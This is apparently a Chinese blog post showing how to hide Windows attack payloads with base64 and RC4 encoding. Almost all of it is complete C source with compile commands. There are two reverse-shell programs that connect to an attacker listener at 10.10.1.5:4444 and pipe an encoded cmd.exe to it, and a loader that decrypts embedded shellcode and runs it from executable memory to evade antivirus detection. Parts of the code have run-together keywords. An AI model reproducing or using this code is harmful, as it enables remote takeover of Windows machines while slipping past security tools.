可以以ASCII码表示二进制数据,base64可以将二进制数据用64个字符表示,编码后的字符主要是64个字符位数不足用=
补齐
使用base64加密cmd.exe
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <wchar.h>
#include <wincrypt.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "crypt32.lib")
WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
// Base64 decoding function
void base64Decode(char* input, char* output) {
DWORD decodedLength = 0;
CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &decodedLength, NULL, NULL);
CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, (BYTE*)output, &decodedLength, NULL, NULL);
}
int main(int argc, char* argv[]) {
// listener ip, port on attacker's machine
char* ip = "10.10.1.5";
short port = 4444;
// Base64-encoded command
char* base64Cmd = "Y21kLmV4ZQ==";
// Base64 decode the command
char cmd[1024];
base64Decode(base64Cmd, cmd);
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;
// start cmd.exe with redirected streams
CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
编译
x86_64-w64-mingw32-g++ hack.c -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32 -lws2_32
上面是使用<wincrypt.h>
里面的加密解密函数实现,下面不使用自带函数,自己实现
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
staticchar encodingChars[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'};
staticchar *decodingTable = NULL;
staticint modTable[] = {0, 2, 1};
void createDecodingTable() {
decodingTable = (char*)malloc(256);
for (int i = 0; i < 64; i++)
decodingTable[(unsignedchar) encodingChars[i]] = i;
}
void cleanUpBase64() {
free(decodingTable);
}
char *encodeBase64(const unsigned char *data,
size_t inputLength,
size_t *outputLength) {
*outputLength = 4 * ((inputLength + 2) / 3);
char *encodedData = (char*)malloc(*outputLength);
if (encodedData == NULL) returnNULL;
for (int i = 0, j = 0; i < inputLength;) {
unsignedint octetA = i < inputLength ? (unsignedchar)data[i++] : 0;
unsignedint octetB = i < inputLength ? (unsignedchar)data[i++] : 0;
unsignedint octetC = i < inputLength ? (unsignedchar)data[i++] : 0;
unsignedint triple = (octetA << 0x10) + (octetB << 0x08) + octetC;
encodedData[j++] = encodingChars[(triple >> 3 * 6) & 0x3F];
encodedData[j++] = encodingChars[(triple >> 2 * 6) & 0x3F];
encodedData[j++] = encodingChars[(triple >> 1 * 6) & 0x3F];
encodedData[j++] = encodingChars[(triple >> 0 * 6) & 0x3F];
}
for (int i = 0; i < modTable[inputLength % 3]; i++)
encodedData[*outputLength - 1 - i] = '=';
return encodedData;
}
unsigned char *decodeBase64(const char *data,
size_t inputLength,
size_t *outputLength) {
if (decodingTable == NULL) createDecodingTable();
if (inputLength % 4 != 0) returnNULL;
*outputLength = inputLength / 4 * 3;
if (data[inputLength - 1] == '=') (*outputLength)--;
if (data[inputLength - 2] == '=') (*outputLength)--;
unsignedchar *decodedData = (unsignedchar*)malloc(*outputLength);
if (decodedData == NULL) returnNULL;
for (int i = 0, j = 0; i < inputLength;) {
unsignedint sextetA = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint sextetB = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint sextetC = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint sextetD = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint triple = (sextetA << 3 * 6) + (sextetB << 2 * 6) + (sextetC << 1 * 6) + (sextetD << 0 * 6);
if (j < *outputLength) decodedData[j++] = (triple >> 2 * 8) & 0xFF;
if (j < *outputLength) decodedData[j++] = (triple >> 1 * 8) & 0xFF;
if (j < *outputLength) decodedData[j++] = (triple >> 0 * 8) & 0xFF;
}
return decodedData;
}
int main(int argc, char *argv[]) {
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;
// Base64 encoded string
char command[] = "Y21kLmV4ZQ==";
// Decode the Base64 string
size_t decodeSize = strlen(command);
char * decodedCmd = (char*)decodeBase64(command, decodeSize, &decodeSize);
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;
// start the decoded command with redirected streams
CreateProcess(NULL, decodedCmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
编译
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32 -lws2_32
运行
RC4 和base64可以组合使用
首先base64加密shellcode,再RC4加密,运行时反过来操作,先RC4解密再base64解密。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
int b64decode(const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0; // failed
return (outLen);
}
// swap
void swap(unsigned char *a, unsigned char *b) {
unsignedchar tmp;
tmp = *a;
*a = *b;
*b = tmp;
}
// key-scheduling algorithm (KSA)
void KSA(unsigned char *s, unsigned char *key, int keyL) {
int k;
int x, y = 0;
// initialize
for (k = 0; k < 256; k++) {
s[k] = k;
}
for (x = 0; x < 256; x++) {
y = (y + s[x] + key[x % keyL]) % 256;
swap(&s[x], &s[y]);
}
return;
}
// pseudo-random generation algorithm (PRGA)
unsigned char* PRGA(unsigned char* s, unsigned int messageL) {
int i = 0, j = 0;
int k;
unsignedchar* keystream;
keystream = (unsignedchar *)malloc(sizeof(unsignedchar)*messageL);
for(k = 0; k < messageL; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
swap(&s[i], &s[j]);
keystream[k] = s[(s[i] + s[j]) % 256];
}
return keystream;
}
// encryption and decryption
unsigned char* RC4(unsigned char *plaintext, unsigned char* ciphertext, unsigned char* key, unsigned int keyL, unsigned int messageL) {
int i;
unsignedchar s[256];
unsignedchar* keystream;
KSA(s, key, keyL);
keystream = PRGA(s, messageL);
for (i = 0; i < messageL; i++) {
ciphertext[i] = plaintext[i] ^ keystream[i];
}
return ciphertext;
}
int main(int argc, char* argv[]) {
unsignedchar* plaintext = (unsignedchar*)"/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQwBAABIMclBukWDVgf/1UgxyUG68LWiVv/VSGVsbG8sIFBhY2t0IQA9Xi4uXj0A";
unsignedchar* key = (unsignedchar*)"key";
unsignedchar* ciphertext = (unsignedchar *)malloc(sizeof(unsignedchar) * strlen((constchar*)plaintext));
RC4(plaintext, ciphertext, key, strlen((constchar*)key), strlen((constchar*)plaintext));
unsignedchar payload[] = "\x24\x29\x5d\xaf\x11\xdf\x3f\x65\x67\x64\x27\x14\x26\x1c\x53\xbc\xce\x31\xab\x34\xfa\xb7\xa1\xac\x63\xa5\xf2\xf4\x74\x88\x31\xf2\x47\x74\xc2\xdd\xf0\xcb\x8f\xf5\x5a\xe6\xb6\xe8\x73\x16\x4f\xcf\xaf\x54\x79\x0c\x3f\x90\x7d\xfd\xa6\x2b\x0d\x71\xc7\xb0\xb6\x40\xf0\x12\xdc\xa8\xc5\x20\xb5\xc0\x45\x25\x03\x30\x03\x23\xd9\xc8\x82\xbc\x7d\x1a\xfe\xcc\x66\x32\x2e\xaa\x40\xc9\x61\xc2\x72\x77\x70\xba\xc7\xd2\x3b\xea\x3d\x6f\x07\xf5\xbc\xae\x1d\x32\xc8\xf3\x6f\x1c\x32\xe0\xd7\x65\x20\x72\xec\x21\xfe\xa9\xc5\x72\x12\xa6\x06\x38\x01\x3e\x16\xe8\x09\x68\x87\xc8\x7f\x0b\x44\xcf\xba\x9c\xbe\x7c\xfc\x3b\x96\x3f\x90\xdc\x96\xe3\x8c\x3f\x3a\xe7\x57\xa4\xcd\xa5\x42\x4b\x55\x2e\x5b\x89\xf6\xd9\x80\x55\xf8\xbc\x0b\x4e\x66\x96\x01\xce\xc8\x97\x6a\xbd\x31\x6d\xfd\x53\xae\xcd\x98\xc9\x28\x73\x60\x4a\x82\xe1\x2e\xb7\x77\xc5\x97\xbd\x3d\xed\xc1\x9c\xeb\xc6\x06\x3a\x44\xf5\xf8\x7d\x79\x30\x42\xea\xbd\x4d\xbf\xe5\x18\xcb\xa5\x78\x6f\xb7\xf9\x65\xd7\x36\xbd\x92\x76\xf0\xda\x60\x97\xac\xd1\xcf\x98\xbf\xd7\x66\xd1\x4b\x34\x96\xfb\xe9\xf8\xac\x59\xe9\x0e\x81\x81\xe4\x7f\xcf\xd6\x7f\x16\x48\xe1\x94\x0c\x7c\x8e\xa0\x85\xa1\x81\x0f\xc3\x5f\xfb\xfd\x05\x7b\x69\x5b\xb4\x78\x4e\x1e\x10\x1b\x29\xc4\xa9\x1d\xa6\xa3\xe6\xa9\xb0\xdd\xc5\x35\x3b\x0e\xdb\xca\x82\x64\x1a\x19\x53\xdd\x65\xe7\xd3\x5e\x2e\x7d\x8c\xfa\x9c\x52\x6c\xa0\xad\x9a\x8f\xb6\xdc\x43\x8b\x8e\x5f\xac\x46\xb5\x90\x8a\x16\x3d\x4d\xb9\x17\xc6\x6d\x87\x13\xad\xa3\x78\x68\x7c\xbc\xcf\x1c\x36\xa6\xc6\x31\x2e\xf5\xcd\xd7\x69\xdd\xba\x6e\xeb\x66\xc5\x3f\x00\x96\x59\xd0\x28\xed\x3b\x2d\x62\x76\x55";
unsignedchar* encoded = (unsignedchar *)payload;
unsignedchar* decoded = (unsignedchar *)malloc(sizeof(unsignedchar) * (sizeof(payload) - 1));
RC4(encoded, decoded, key, strlen((constchar*)key), sizeof(payload) - 1);
unsignedint payload_bytes_len = 512;
char * decoded_payload_bytes = (char *)malloc(sizeof(char) * payload_bytes_len);
b64decode((const BYTE *)decoded, payload_bytes_len, decoded_payload_bytes, payload_bytes_len);
unsignedint decoded_payload_len = 288;
unsignedchar* decoded_payload = newunsignedchar[decoded_payload_len];
for (int j = 0; j < decoded_payload_len; j++) {
decoded_payload[j] = decoded_payload_bytes[j];
}
LPVOID mem = VirtualAlloc(NULL, decoded_payload_len + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, decoded_payload, decoded_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
return0;
}
编译
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32
标签:实战,int,++,base64,sui,char,unsignedchar,算法,NULL
From: https://www.cnblogs.com/o-O-oO/p/18651977